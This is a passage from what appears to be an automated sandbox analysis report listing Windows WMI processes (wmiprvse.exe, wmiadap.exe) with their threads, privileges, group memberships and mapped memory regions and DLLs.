	os_tid = 0x308


Thread:
	id = 206
	os_tid = 0x304


Thread:
	id = 207
	os_tid = 0x610


Thread:
	id = 225
	os_tid = 0x7ac


Thread:
	id = 227
	os_tid = 0x728


Thread:
	id = 238
	os_tid = 0x5d8


Process:
	id = "12"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0xce12000"
	os_pid = "0x670"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "10"
	os_parent_pid = "0x348"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0002dc17" [0xc000000f]

Region:
	              id = 2748
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2749
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 2750
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2751
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2752
	        start_va = 0x50000
	          end_va = 0xcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 2753
	        start_va = 0xd0000
	          end_va = 0x136fff
	     entry_point = 0xd0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2754
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 2755
	        start_va = 0x150000
	          end_va = 0x156fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000150000"
	        filename = ""

Region:
	              id = 2756
	        start_va = 0x160000
	          end_va = 0x161fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000160000"
	        filename = ""

Region:
	              id = 2757
	        start_va = 0x170000
	          end_va = 0x17ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 2758
	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000180000"
	        filename = ""

Region:
	              id = 2759
	        start_va = 0x190000
	          end_va = 0x190fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 2760
	        start_va = 0x1a0000
	          end_va = 0x1a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001a0000"
	        filename = ""

Region:
	              id = 2761
	        start_va = 0x200000
	          end_va = 0x2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000200000"
	        filename = ""

Region:
	              id = 2762
	        start_va = 0x300000
	          end_va = 0x3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000300000"
	        filename = ""

Region:
	              id = 2763
	        start_va = 0x400000
	          end_va = 0x587fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000400000"
	        filename = ""

Region:
	              id = 2764
	        start_va = 0x590000
	          end_va = 0x710fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000590000"
	        filename = ""

Region:
	              id = 2765
	        start_va = 0x720000
	          end_va = 0x7dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000720000"
	        filename = ""

Region:
	              id = 2766
	        start_va = 0x7e0000
	          end_va = 0x8dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007e0000"
	        filename = ""

Region:
	              id = 2767
	        start_va = 0x930000
	          end_va = 0x9affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000930000"
	        filename = ""

Region:
	              id = 2768
	        start_va = 0x9b0000
	          end_va = 0xa2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000009b0000"
	        filename = ""

Region:
	              id = 2769
	        start_va = 0xa30000
	          end_va = 0xcfefff
	     entry_point = 0xa30000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2770
	        start_va = 0xd00000
	          end_va = 0x10f2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d00000"
	        filename = ""

Region:
	              id = 2771
	        start_va = 0x1120000
	          end_va = 0x119ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001120000"
	        filename = ""

Region:
	              id = 2772
	        start_va = 0x11e0000
	          end_va = 0x125ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011e0000"
	        filename = ""

Region:
	              id = 2773
	        start_va = 0x1280000
	          end_va = 0x12fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001280000"
	        filename = ""

Region:
	              id = 2774
	        start_va = 0x1400000
	          end_va = 0x147ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001400000"
	        filename = ""

Region:
	              id = 2775
	        start_va = 0x1550000
	          end_va = 0x15cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001550000"
	        filename = ""

Region:
	              id = 2776
	        start_va = 0x76e30000
	          end_va = 0x76f29fff
	     entry_point = 0x76e30000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2777
	        start_va = 0x76f30000
	          end_va = 0x7704efff
	     entry_point = 0x76f30000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2778
	        start_va = 0x77050000
	          end_va = 0x771f8fff
	     entry_point = 0x77050000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2779
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2780
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2781
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2782
	        start_va = 0xffaa0000
	          end_va = 0xffafefff
	     entry_point = 0xffaa0000
	     region_type = mapped_file
	            name = "wmiprvse.exe"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")

Region:
	              id = 2783
	        start_va = 0x7fef8320000
	          end_va = 0x7fef8333fff
	     entry_point = 0x7fef8320000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2784
	        start_va = 0x7fef84e0000
	          end_va = 0x7fef84f5fff
	     entry_point = 0x7fef84e0000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 2785
	        start_va = 0x7fef8660000
	          end_va = 0x7fef8686fff
	     entry_point = 0x7fef8660000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2786
	        start_va = 0x7fef8690000
	          end_va = 0x7fef8771fff
	     entry_point = 0x7fef8690000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2787
	        start_va = 0x7fef8860000
	          end_va = 0x7fef88e5fff
	     entry_point = 0x7fef8860000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2788
	        start_va = 0x7fefaf40000
	          end_va = 0x7fefaf6cfff
	     entry_point = 0x7fefaf40000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2789
	        start_va = 0x7fefb220000
	          end_va = 0x7fefb22efff
	     entry_point = 0x7fefb220000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2790
	        start_va = 0x7fefc590000
	          end_va = 0x7fefc5d6fff
	     entry_point = 0x7fefc590000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2791
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc8a6fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2792
	        start_va = 0x7fefce90000
	          end_va = 0x7fefce9efff
	     entry_point = 0x7fefce90000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2793
	        start_va = 0x7fefcf80000
	          end_va = 0x7fefcf93fff
	     entry_point = 0x7fefcf80000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2794
	        start_va = 0x7fefd0f0000
	          end_va = 0x7fefd15afff
	     entry_point = 0x7fefd0f0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2795
	        start_va = 0x7fefd370000
	          end_va = 0x7fefd38efff
	     entry_point = 0x7fefd370000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2796
	        start_va = 0x7fefd430000
	          end_va = 0x7fefd43dfff
	     entry_point = 0x7fefd430000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2797
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd4d8fff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2798
	        start_va = 0x7fefd4e0000
	          end_va = 0x7fefd546fff
	     entry_point = 0x7fefd4e0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2799
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd882fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2800
	        start_va = 0x7fefd890000
	          end_va = 0x7fefd8dcfff
	     entry_point = 0x7fefd890000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2801
	        start_va = 0x7fefd8e0000
	          end_va = 0x7fefda0cfff
	     entry_point = 0x7fefd8e0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2802
	        start_va = 0x7fefda10000
	          end_va = 0x7fefdad8fff
	     entry_point = 0x7fefda10000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2803
	        start_va = 0x7fefdae0000
	          end_va = 0x7fefdae7fff
	     entry_point = 0x7fefdae0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2804
	        start_va = 0x7fefdc70000
	          end_va = 0x7fefdd46fff
	     entry_point = 0x7fefdc70000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2805
	        start_va = 0x7fefdd50000
	          end_va = 0x7fefde58fff
	     entry_point = 0x7fefdd50000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2806
	        start_va = 0x7fefee70000
	          end_va = 0x7fefef0efff
	     entry_point = 0x7fefee70000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2807
	        start_va = 0x7fefef10000
	          end_va = 0x7fefefeafff
	     entry_point = 0x7fefef10000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2808
	        start_va = 0x7feff070000
	          end_va = 0x7feff09dfff
	     entry_point = 0x7feff070000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2809
	        start_va = 0x7feff300000
	          end_va = 0x7feff351fff
	     entry_point = 0x7feff300000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2810
	        start_va = 0x7feff370000
	          end_va = 0x7feff370fff
	     entry_point = 0x7feff370000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2811
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2812
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2813
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2814
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2815
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2816
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2817
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2818
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2819
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2820
	        start_va = 0x7fef4340000
	          end_va = 0x7fef4539fff
	     entry_point = 0x7fef4340000
	     region_type = mapped_file
	            name = "cimwin32.dll"
	        filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll")

Region:
	              id = 2821
	        start_va = 0x7fef80a0000
	          end_va = 0x7fef80c5fff
	     entry_point = 0x7fef80a0000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 2822
	        start_va = 0x7fef87a0000
	          end_va = 0x7fef87ebfff
	     entry_point = 0x7fef87a0000
	     region_type = mapped_file
	            name = "framedynos.dll"
	        filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll")

Region:
	              id = 2823
	        start_va = 0x7fefb320000
	          end_va = 0x7fefb330fff
	     entry_point = 0x7fefb320000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2824
	        start_va = 0x7fefce60000
	          end_va = 0x7fefce84fff
	     entry_point = 0x7fefce60000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2825
	        start_va = 0x7fef9170000
	          end_va = 0x7fef9177fff
	     entry_point = 0x7fef9170000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 2826
	        start_va = 0x745e0000
	          end_va = 0x745e2fff
	     entry_point = 0x745e0000
	     region_type = mapped_file
	            name = "security.dll"
	        filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll")

Region:
	              id = 2827
	        start_va = 0x7fefce30000
	          end_va = 0x7fefce3afff
	     entry_point = 0x7fefce30000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2828
	        start_va = 0x7fefc460000
	          end_va = 0x7fefc469fff
	     entry_point = 0x7fefc460000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2829
	        start_va = 0x7fefc620000
	          end_va = 0x7fefc676fff
	     entry_point = 0x7fefc620000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 2830
	        start_va = 0x7fefd040000
	          end_va = 0x7fefd04efff
	     entry_point = 0x7fefd040000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2831
	        start_va = 0x7fefd160000
	          end_va = 0x7fefd2c6fff
	     entry_point = 0x7fefd160000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2832
	        start_va = 0x1b0000
	          end_va = 0x1b2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001b0000"
	        filename = ""

Region:
	              id = 2833
	        start_va = 0x1c0000
	          end_va = 0x1c4fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001c0000"
	        filename = ""

Region:
	              id = 2834
	        start_va = 0x1300000
	          end_va = 0x13fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001300000"
	        filename = ""

Region:
	              id = 2835
	        start_va = 0x15e0000
	          end_va = 0x165ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015e0000"
	        filename = ""

Region:
	              id = 2836
	        start_va = 0x1710000
	          end_va = 0x178ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001710000"
	        filename = ""

Region:
	              id = 2837
	        start_va = 0x7fefb1c0000
	          end_va = 0x7fefb1d4fff
	     entry_point = 0x7fefb1c0000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 2838
	        start_va = 0x7fefb1e0000
	          end_va = 0x7fefb1ebfff
	     entry_point = 0x7fefb1e0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 2839
	        start_va = 0x7fefb1f0000
	          end_va = 0x7fefb205fff
	     entry_point = 0x7fefb1f0000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 2840
	        start_va = 0x7fefcd80000
	          end_va = 0x7fefcda2fff
	     entry_point = 0x7fefcd80000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 2841
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2842
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2843
	        start_va = 0x7fefb1a0000
	          end_va = 0x7fefb1b3fff
	     entry_point = 0x7fefb1a0000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 2844
	        start_va = 0x7fefc680000
	          end_va = 0x7fefc6affff
	     entry_point = 0x7fefc680000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 2845
	        start_va = 0x7fef6900000
	          end_va = 0x7fef6911fff
	     entry_point = 0x7fef6900000
	     region_type = mapped_file
	            name = "browcli.dll"
	        filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll")

Region:
	              id = 2846
	        start_va = 0x7fef77b0000
	          end_va = 0x7fef77b9fff
	     entry_point = 0x7fef77b0000
	     region_type = mapped_file
	            name = "schedcli.dll"
	        filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll")

Region:
	              id = 2847
	        start_va = 0x7fefab50000
	          end_va = 0x7fefab5bfff
	     entry_point = 0x7fefab50000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 2848
	        start_va = 0x7fef9ef0000
	          end_va = 0x7fef9efefff
	     entry_point = 0x7fef9ef0000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")

Region:
	              id = 2849
	        start_va = 0x1790000
	          end_va = 0x1ad2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001790000"
	        filename = ""

Region:
	              id = 2850
	        start_va = 0x7fef68d0000
	          end_va = 0x7fef68fbfff
	     entry_point = 0x7fef68d0000
	     region_type = mapped_file
	            name = "wmipcima.dll"
	        filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll")

Region:
	              id = 2851
	        start_va = 0x7fefd050000
	          end_va = 0x7fefd085fff
	     entry_point = 0x7fefd050000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2852
	        start_va = 0x7fefd090000
	          end_va = 0x7fefd0a9fff
	     entry_point = 0x7fefd090000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 2853
	        start_va = 0x1d0000
	          end_va = 0x1d1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001d0000"
	        filename = ""

Region:
	              id = 2854
	        start_va = 0x745d0000
	          end_va = 0x745d2fff
	     entry_point = 0x745d0000
	     region_type = mapped_file
	            name = "wmi.dll"
	        filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll")

Region:
	              id = 2855
	        start_va = 0x7fefcf40000
	          end_va = 0x7fefcf7cfff
	     entry_point = 0x7fefcf40000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2856
	        start_va = 0x7fefaef0000
	          end_va = 0x7fefaf1bfff
	     entry_point = 0x7fefaef0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2857
	        start_va = 0x7feff0a0000
	          end_va = 0x7feff276fff
	     entry_point = 0x7feff0a0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")


Thread:
	id = 256
	os_tid = 0x764


Thread:
	id = 257
	os_tid = 0x358


Thread:
	id = 258
	os_tid = 0x6fc


Thread:
	id = 259
	os_tid = 0x734


Thread:
	id = 260
	os_tid = 0x73c


Thread:
	id = 261
	os_tid = 0x660


Thread:
	id = 262
	os_tid = 0x4d0


Thread:
	id = 263
	os_tid = 0x6e8


Thread:
	id = 264
	os_tid = 0x5b0


Thread:
	id = 310
	os_tid = 0x64


Process:
	id = "13"
	image_name = "wmiadap.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiadap.exe"
	page_root = "0x9365000"
	os_pid = "0x238"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "10"
	os_parent_pid = "0x348"
	cmd_line = "wmiadap.exe /F /T /R"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cb5b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 2858
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2859
	        start_va = 0x30000
	          end_va = 0x33fff
